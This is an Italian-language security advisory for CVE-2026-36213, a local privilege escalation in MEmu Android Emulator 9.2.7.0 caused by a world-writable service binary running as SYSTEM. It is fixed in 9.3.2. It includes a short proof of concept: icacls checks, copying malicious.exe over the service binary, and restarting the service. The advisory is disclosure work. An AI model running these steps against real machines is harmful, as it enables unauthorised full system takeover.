sec-zone/cve-2026-36213CVE-2026-36213 | Escalation dei privilegi locali in MEmu Android Emulator 9.2.7.0 tramite permessi non sicuri dei binari di servizio | Corretto nella 9.3.2
CVE-2026-36213 | Escalation locale dei privilegi in MEmu Android Emulator 9.2.7.0 tramite permessi non sicuri del binario del servizio | Corretto in 9.3.2
Una vulnerabilità di escalation locale dei privilegi (LPE) in MEmu Android Emulator 9.2.7.0.
Il servizio MEmuSVC viene eseguito come NT AUTHORITY\SYSTEM mentre il suo binario è scrivibile da qualsiasi utente locale, consentendo la compromissione totale del sistema.
| Campo | Dettagli |
|---|---|
| CVE | CVE-2026-36213 |
| Prodotto | MEmu Android Emulator (MicroVirt) |
| Versione interessata | 9.2.7.0 e precedenti |
| Versione corretta | 9.3.2 |
| CWE | CWE-732 / CWE-269 |
| CVSS v3.1 | 7.8 ALTA AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK | T1574.010 |
MEmuService.exe viene installato come servizio Windows a livello SYSTEM con permessi NTFS non sicuri:
icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
BUILTIN\Users:(F) ← Any local user has Full Control
Everyone:(F) ← World-writable binar
:: Passaggio 1 - Verifica dei permessi vulnerabili
icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
:: Passaggio 2 - Sostituisci il binario (come utente con privilegi ridotti)
copy malicious.exe "C:\Program Files\Microvirt\MEmu\MemuService.exe" /Y
:: Passaggio 3 - Riavvia il servizio
sc stop MEmuSVC && sc start MEmuSVC
:: Risultato: malicious.exe viene eseguito come NT AUTHORITY\SYSTEM
Disponibile su: https://github.com/sec-zone/Hijack-service-binaries
Questa ricerca è stata condotta a scopo didattico nell'ambito di una politica di divulgazione responsabile.
L'autore non è responsabile per qualsiasi uso improprio di queste informazioni.
Nome: Mohammad Hossein Ashofte Yazdi
Linkedin: https://www.linkedin.com/in/seczone64
Twitter: @sec_zone64
Email: [email protected]